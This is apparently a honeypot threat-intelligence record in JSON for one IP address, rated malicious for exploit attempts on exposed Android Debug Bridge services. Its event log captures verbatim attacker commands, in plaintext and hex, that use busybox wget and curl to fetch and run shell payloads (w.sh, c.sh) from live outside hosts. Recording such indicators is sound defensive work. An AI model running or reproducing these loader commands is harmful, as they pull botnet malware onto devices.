{"ip":"45.205.1.124","data_as_of":"2026-10-26T23:48:19+00:00","observed":true,"total_events":18,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"9 loader / command-injection payload(s)","confidence":"high","network_type":"CDN","why":["9 request(s) carried a loader or command-injection payload (wget, curl, tftp, busybox, chmod or a known bot name).","The same evidence places an address in the public exploiter feed.","One request that fetches a botnet binary is exploitation on its own, whatever the event count.","Not in any known-scanner range.","Counts include 6 interactive session(s) as well as first-packet events.","Interactive sessions: 6 interactive session(s) ran commands after logging in."],"engagement":{"level":"request","label":"Request traffic","detail":"4,036 bytes sent","bytes_sent":4036,"session_seconds":31,"persistent":false},"basis":"combined"},"first_seen":"2026-10-20T12:15:50","last_seen":"2026-10-21T10:44:11","events_24h":0,"events_7d":18,"interactive_sessions":6,"interactive_sessions_24h":0,"interactive_sessions_7d":6,"interactive_protocols":[{"protocol":"adb","sessions":6}],"geo":{"country_code":"BR","country_name":"Brazil","region":"","city":"","lat":-22.8305,"lon":-43.2192,"asn":215925,"org":"Vpsvault.host Ltd"},"source_domain":null,"known_scanners":[],"scanner_tag":{"key":"peeringdb:as215925","label":"VPSVAULTHOST","category":"cdn","url":"https://www.peeringdb.com/asn/215925"},"cve_matches":[],"malware":[{"sha256":"2cd467726dc527eefb041e8685ccb1862fcd2826f00fd6bbd4800cca1c8b42dd","family":"gen2","vt_name":"c.sh","malicious":16,"total":75,"vt_status":"uploaded","delivery":"interactive session","url_path":"","dest_port":5555,"hits":5,"last_seen":"2026-10-20 14:55:30"},{"sha256":"639c1b1b90fedaaee4e8dc8f922e16a04aaade7403e35d3dc522d9868daa73f3","family":"shell","vt_name":"w.sh","malicious":19,"total":75,"vt_status":"uploaded","delivery":"interactive session","url_path":"","dest_port":5555,"hits":5,"last_seen":"2026-10-20 14:55:30"}],"udp":null,"interaction":{"window_days":90,"sessions":6,"first_seen":"2026-10-20T13:25:52","last_seen":"2026-10-21T10:17:36","verdicts":[{"verdict":"post-exploitation","sessions":6}],"personas":[{"persona":"adb@Android 7.1 TV box","sessions":3},{"persona":"adb@Android 9 TV box","sessions":3}],"services":[{"protocol":"adb","port":5555,"sessions":6}],"logins":[],"commands":[],"downloads":[{"url":"[http]://45[.]205[.]1[.]167:24381/bins/payloads/w.sh","host":"45[.]205[.]1[.]167","sessions":2,"first_seen":"2026-10-20T21:58:45","last_seen":"2026-10-20T23:10:02","virustotal":{"sha256":"75b3e06376152ce2aee9187802dc56e18e35124538faaa9a3a0e2af5bff15912","status":"known","malicious":12,"total":75,"name":"huw7k.exe"}},{"url":"[http]://45[.]205[.]1[.]167:24381/bins/payloads/c.sh","host":"45[.]205[.]1[.]167","sessions":2,"first_seen":"2026-10-20T21:58:45","last_seen":"2026-10-20T23:10:02","virustotal":{"sha256":"5f2ce113af813e678b165001aca58bb49371edde592e0956f0e5b697338f7005","status":"uploaded","malicious":4,"total":75,"name":"c.sh"}},{"url":"[http]://46[.]16[.]34[.]248:24381/bins/payloads/w.sh","host":"46[.]16[.]34[.]248","sessions":2,"first_seen":"2026-10-20T13:25:52","last_seen":"2026-10-20T14:22:58","virustotal":{"sha256":"6b30e97ad75c7f255a93b51e497f416759a6c0906891bdf56c52c7f78dc4870e","status":"known","malicious":10,"total":75,"name":"w.sh"}},{"url":"[http]://46[.]16[.]34[.]248:24381/bins/payloads/c.sh","host":"46[.]16[.]34[.]248","sessions":2,"first_seen":"2026-10-20T13:25:52","last_seen":"2026-10-20T14:22:58","virustotal":{"sha256":"2e7a5ab7abb5899b0cfac6cf530ecfd3060ec2f2f120863797158686d6ed228a","status":"known","malicious":16,"total":75,"name":"c.sh"}},{"url":"[http]://45[.]9[.]2[.]239:24381/bins/payloads/w.sh","host":"45[.]9[.]2[.]239","sessions":1,"first_seen":"2026-10-21T10:17:36","last_seen":"2026-10-21T10:17:36","virustotal":{"sha256":"4890d90dd5eedd73f37ba627da8d1487114db5f5366772a9a464defc493c6943","status":"known","malicious":20,"total":75,"name":""}},{"url":"[http]://45[.]9[.]2[.]239:24381/bins/payloads/c.sh","host":"45[.]9[.]2[.]239","sessions":1,"first_seen":"2026-10-21T10:17:36","last_seen":"2026-10-21T10:17:36","virustotal":{"sha256":"ec0a0374513a93cd3f34e6b0ce57fc7408706dfd687bd608c385ac8da54ce047","status":"known","malicious":17,"total":75,"name":""}},{"url":"[http]://45[.]153[.]34[.]18:24381/bins/payloads/w.sh","host":"45[.]153[.]34[.]18","sessions":1,"first_seen":"2026-10-20T14:55:30","last_seen":"2026-10-20T14:55:30","virustotal":{"sha256":"639c1b1b90fedaaee4e8dc8f922e16a04aaade7403e35d3dc522d9868daa73f3","status":"uploaded","malicious":19,"total":75,"name":"w.sh"}},{"url":"[http]://45[.]153[.]34[.]18:24381/bins/payloads/c.sh","host":"45[.]153[.]34[.]18","sessions":1,"first_seen":"2026-10-20T14:55:30","last_seen":"2026-10-20T14:55:30","virustotal":{"sha256":"2cd467726dc527eefb041e8685ccb1862fcd2826f00fd6bbd4800cca1c8b42dd","status":"uploaded","malicious":16,"total":75,"name":"c.sh"}}],"files":[{"sha256":"a217594ad976cc7d362cae476b371f3c133dbceec3275fb3da9a15e20429ddda","name":"shell-1","size":172,"mime_type":"text/plain","kind":"adb-command","times":2,"first_seen":"2026-10-20T21:58:14","last_seen":"2026-10-20T23:09:32","virustotal":null},{"sha256":"e7c2ccc50becb726ae757cf8497a7fd1480f68cb401d2936f6807b3c48526b83","name":"shell-1","size":147,"mime_type":"text/plain","kind":"adb-command","times":2,"first_seen":"2026-10-20T13:25:22","last_seen":"2026-10-20T14:22:28","virustotal":null},{"sha256":"7d5463b75ed6641a538f728e8a0a43660f74e6740e09d2147296cf35d666d907","name":"shell-1","size":143,"mime_type":"text/plain","kind":"adb-command","times":1,"first_seen":"2026-10-21T10:17:05","last_seen":"2026-10-21T10:17:05","virustotal":null},{"sha256":"a248c3feee2d668763c1bac92ce37085004601845923a2b7e2bd32b118a14841","name":"shell-1","size":147,"mime_type":"text/plain","kind":"adb-command","times":1,"first_seen":"2026-10-20T14:55:00","last_seen":"2026-10-20T14:55:00","virustotal":null}],"attack":[{"technique_id":"T1105","technique_name":"Ingress Tool Transfer","tactic_id":"TA0011","tactic_name":"Command and Control","sessions":6}]},"top_ports":[{"port":5555,"proto":"tcp","label":"","count":18,"sessions":6}],"fingerprints":{"ssh_hassh":[],"tls_ja4":[],"tls_client_hello":"","tls_ja3":[],"http_akin":[],"interactive":{"ssh_hassh":[],"tls_ja4":[],"tls_ja3":[]}},"fingerprint_peers":{},"akin_families":{},"user_agents":[],"timeline":[{"date":"2026-10-20","count":14,"sessions":5},{"date":"2026-10-21","count":4,"sessions":1}],"recent_events":[{"timestamp":"2026-10-21T10:44:11","port":5555,"proto":"tcp","app_proto":"","app_protocol":"","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"OPENX\u0001\u0000\u0000\u0000\u0000\u0000\u0000�\u0000\u0000\u0000J/\u0000\u0000����shell:cd /data/local/tmp/; busybox wget http://45.9.2.239:24381/bins/payloads/w.sh; sh w.sh; curl http://45.9.2.239:24381/bins/payloads/c.sh; sh c.sh\u0000","payload_hex":"4f50454e5801000000000000960000004a2f0000b0afbab17368656c6c3a6364202f646174612f6c6f63616c2f746d702f3b2062757379626f78207767657420687474703a2f2f34352e392e322e3233393a32343338312f62696e732f7061796c6f6164732f772e73683b20736820772e73683b206375726c20687474703a2f2f34352e392e322e3233393a32343338312f62696e732f7061796c6f6164732f632e73683b20736820632e736800","method":"","user_agent":"","ja3":"","session":"4fd23dc7-61a7-45d7-a899-0895416e1be6","seq":2,"duration_ms":309,"bytes_in":225,"bytes_out":24,"enriched":{"digest":"526f27d13c55489a","strings":["OPENX","shell:cd /data/local/tmp/; busybox wget http://45.9.2.239:24381/bins/payloads/w.…"],"iocs":{"urls":["http://45.9.2.239:24381/bins/payloads/w.…"],"ips":["45.9.2.239"],"paths":["/data/local/tmp","/bins/payloads/w."]}}},{"timestamp":"2026-10-21T10:44:11","port":5555,"proto":"tcp","app_proto":"","app_protocol":"","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"CNXN\u0000\u0000\u0000\u0001\u0000\u0000\u0004\u0000\u001b\u0000\u0000\u0000M\n\u0000\u0000����host::features=cmd,shell_v2","payload_hex":"434e584e00000001000004001b0000004d0a0000bcb1a7b1686f73743a3a66656174757265733d636d642c7368656c6c5f7632","method":"","user_agent":"","ja3":"","session":"4fd23dc7-61a7-45d7-a899-0895416e1be6","seq":1,"duration_ms":100,"bytes_in":51,"bytes_out":12,"enriched":{"digest":"9cb45602096504b5","strings":["CNXN","host::features=cmd,shell_v2"]}},{"timestamp":"2026-10-21T10:17:06","port":5555,"proto":"tcp","app_proto":"adb","app_protocol":"adb","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"OPENX\u0001\u0000\u0000\u0000\u0000\u0000\u0000�\u0000\u0000\u0000J/\u0000\u0000����shell:cd /data/local/tmp/; busybox wget http://45.9.2.239:24381/bins/payloads/w.sh; sh w.sh; curl http://45.9.2.239:24381/bins/payloads/c.sh; sh c.sh\u0000","payload_hex":"4f50454e5801000000000000960000004a2f0000b0afbab17368656c6c3a6364202f646174612f6c6f63616c2f746d702f3b2062757379626f78207767657420687474703a2f2f34352e392e322e3233393a32343338312f62696e732f7061796c6f6164732f772e73683b20736820772e73683b206375726c20687474703a2f2f34352e392e322e3233393a32343338312f62696e732f7061796c6f6164732f632e73683b20736820632e736800","method":"","user_agent":"","ja3":"","session":"9d4bdf75-434d-4580-8592-f9549b6ed101-3","seq":3,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"526f27d13c55489a","strings":["OPENX","shell:cd /data/local/tmp/; busybox wget http://45.9.2.239:24381/bins/payloads/w.…"],"iocs":{"urls":["http://45.9.2.239:24381/bins/payloads/w.…"],"ips":["45.9.2.239"],"paths":["/data/local/tmp","/bins/payloads/w."]}},"interactive":true},{"timestamp":"2026-10-21T10:17:05","port":5555,"proto":"tcp","app_proto":"adb","app_protocol":"adb","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"CNXN\u0000\u0000\u0000\u0001\u0000\u0000\u0004\u0000\u001b\u0000\u0000\u0000M\n\u0000\u0000����host::features=cmd,shell_v2","payload_hex":"434e584e00000001000004001b0000004d0a0000bcb1a7b1686f73743a3a66656174757265733d636d642c7368656c6c5f7632","method":"","user_agent":"","ja3":"","session":"9d4bdf75-434d-4580-8592-f9549b6ed101-1","seq":1,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"9cb45602096504b5","strings":["CNXN","host::features=cmd,shell_v2"]},"interactive":true},{"timestamp":"2026-10-21T05:52:21","port":5555,"proto":"tcp","app_proto":"","app_protocol":"","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"OPENX\u0001\u0000\u0000\u0000\u0000\u0000\u0000�\u0000\u0000\u0000�6\u0000\u0000����shell:cd /data/local/tmp/; busybox wget -q -O w.sh http://45.205.1.167:24381/bins/payloads/w.sh; sh w.sh; curl -L -s -o c.sh http://45.205.1.167:24381/bins/payloads/c.sh; sh c.sh\u0000","payload_hex":"4f50454e5801000000000000b30000009f360000b0afbab17368656c6c3a6364202f646174612f6c6f63616c2f746d702f3b2062757379626f782077676574202d71202d4f20772e736820687474703a2f2f34352e3230352e312e3136373a32343338312f62696e732f7061796c6f6164732f772e73683b20736820772e73683b206375726c202d4c202d73202d6f20632e736820687474703a2f2f34352e3230352e312e3136373a32343338312f62696e732f7061796c6f6164732f632e73683b20736820632e736800","method":"","user_agent":"","ja3":"","session":"40f90709-a12e-456c-b56e-c549d2bf5969","seq":2,"duration_ms":236,"bytes_in":254,"bytes_out":24,"enriched":{"digest":"71f89501e67ea794","strings":["OPENX","shell:cd /data/local/tmp/; busybox wget -q -O w.sh http://45.205.1.167:24381/bin…"],"iocs":{"urls":["http://45.205.1.167:24381/bin…"],"ips":["45.205.1.167"],"domains":["w.sh"],"paths":["/data/local/tmp"]}}},{"timestamp":"2026-10-21T05:52:20","port":5555,"proto":"tcp","app_proto":"","app_protocol":"","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"CNXN\u0000\u0000\u0000\u0001\u0000\u0000\u0004\u0000\u001b\u0000\u0000\u0000M\n\u0000\u0000����host::features=cmd,shell_v2","payload_hex":"434e584e00000001000004001b0000004d0a0000bcb1a7b1686f73743a3a66656174757265733d636d642c7368656c6c5f7632","method":"","user_agent":"","ja3":"","session":"40f90709-a12e-456c-b56e-c549d2bf5969","seq":1,"duration_ms":100,"bytes_in":51,"bytes_out":12,"enriched":{"digest":"9cb45602096504b5","strings":["CNXN","host::features=cmd,shell_v2"]}},{"timestamp":"2026-10-20T23:09:32","port":5555,"proto":"tcp","app_proto":"adb","app_protocol":"adb","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"OPENX\u0001\u0000\u0000\u0000\u0000\u0000\u0000�\u0000\u0000\u0000�6\u0000\u0000����shell:cd /data/local/tmp/; busybox wget -q -O w.sh http://45.205.1.167:24381/bins/payloads/w.sh; sh w.sh; curl -L -s -o c.sh http://45.205.1.167:24381/bins/payloads/c.sh; sh c.sh\u0000","payload_hex":"4f50454e5801000000000000b30000009f360000b0afbab17368656c6c3a6364202f646174612f6c6f63616c2f746d702f3b2062757379626f782077676574202d71202d4f20772e736820687474703a2f2f34352e3230352e312e3136373a32343338312f62696e732f7061796c6f6164732f772e73683b20736820772e73683b206375726c202d4c202d73202d6f20632e736820687474703a2f2f34352e3230352e312e3136373a32343338312f62696e732f7061796c6f6164732f632e73683b20736820632e736800","method":"","user_agent":"","ja3":"","session":"12afe47a-b351-432b-ab46-d4f0339526b9-3","seq":3,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"71f89501e67ea794","strings":["OPENX","shell:cd /data/local/tmp/; busybox wget -q -O w.sh http://45.205.1.167:24381/bin…"],"iocs":{"urls":["http://45.205.1.167:24381/bin…"],"ips":["45.205.1.167"],"domains":["w.sh"],"paths":["/data/local/tmp"]}},"interactive":true},{"timestamp":"2026-10-20T23:09:32","port":5555,"proto":"tcp","app_proto":"adb","app_protocol":"adb","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"CNXN\u0000\u0000\u0000\u0001\u0000\u0000\u0004\u0000\u001b\u0000\u0000\u0000M\n\u0000\u0000����host::features=cmd,shell_v2","payload_hex":"434e584e00000001000004001b0000004d0a0000bcb1a7b1686f73743a3a66656174757265733d636d642c7368656c6c5f7632","method":"","user_agent":"","ja3":"","session":"12afe47a-b351-432b-ab46-d4f0339526b9-1","seq":1,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"9cb45602096504b5","strings":["CNXN","host::features=cmd,shell_v2"]},"interactive":true},{"timestamp":"2026-10-20T22:20:10","port":5555,"proto":"tcp","app_proto":"","app_protocol":"","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"OPENX\u0001\u0000\u0000\u0000\u0000\u0000\u0000�\u0000\u0000\u0000�6\u0000\u0000����shell:cd /data/local/tmp/; busybox wget -q -O w.sh http://45.205.1.167:24381/bins/payloads/w.sh; sh w.sh; curl -L -s -o c.sh http://45.205.1.167:24381/bins/payloads/c.sh; sh c.sh\u0000","payload_hex":"4f50454e5801000000000000b30000009f360000b0afbab17368656c6c3a6364202f646174612f6c6f63616c2f746d702f3b2062757379626f782077676574202d71202d4f20772e736820687474703a2f2f34352e3230352e312e3136373a32343338312f62696e732f7061796c6f6164732f772e73683b20736820772e73683b206375726c202d4c202d73202d6f20632e736820687474703a2f2f34352e3230352e312e3136373a32343338312f62696e732f7061796c6f6164732f632e73683b20736820632e736800","method":"","user_agent":"","ja3":"","session":"60a1ba8f-11b0-4062-bbc5-4ffe2cfca1f4","seq":2,"duration_ms":983,"bytes_in":254,"bytes_out":24,"enriched":{"digest":"71f89501e67ea794","strings":["OPENX","shell:cd /data/local/tmp/; busybox wget -q -O w.sh http://45.205.1.167:24381/bin…"],"iocs":{"urls":["http://45.205.1.167:24381/bin…"],"ips":["45.205.1.167"],"domains":["w.sh"],"paths":["/data/local/tmp"]}}},{"timestamp":"2026-10-20T22:20:09","port":5555,"proto":"tcp","app_proto":"","app_protocol":"","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"CNXN\u0000\u0000\u0000\u0001\u0000\u0000\u0004\u0000\u001b\u0000\u0000\u0000M\n\u0000\u0000����host::features=cmd,shell_v2","payload_hex":"434e584e00000001000004001b0000004d0a0000bcb1a7b1686f73743a3a66656174757265733d636d642c7368656c6c5f7632","method":"","user_agent":"","ja3":"","session":"60a1ba8f-11b0-4062-bbc5-4ffe2cfca1f4","seq":1,"duration_ms":101,"bytes_in":51,"bytes_out":12,"enriched":{"digest":"9cb45602096504b5","strings":["CNXN","host::features=cmd,shell_v2"]}}],"http_methods":[],"distinct_ports_total":1,"top_paths":[],"distinct_paths_total":0,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":null,"tags":[{"tag_id":"post-exploitation","tag_type":"interactive","label":"post-exploitation","title":"Ran commands after logging in","sessions":6},{"tag_id":"download","tag_type":"interactive","label":"download","title":"Named a file to download","sessions":6}]}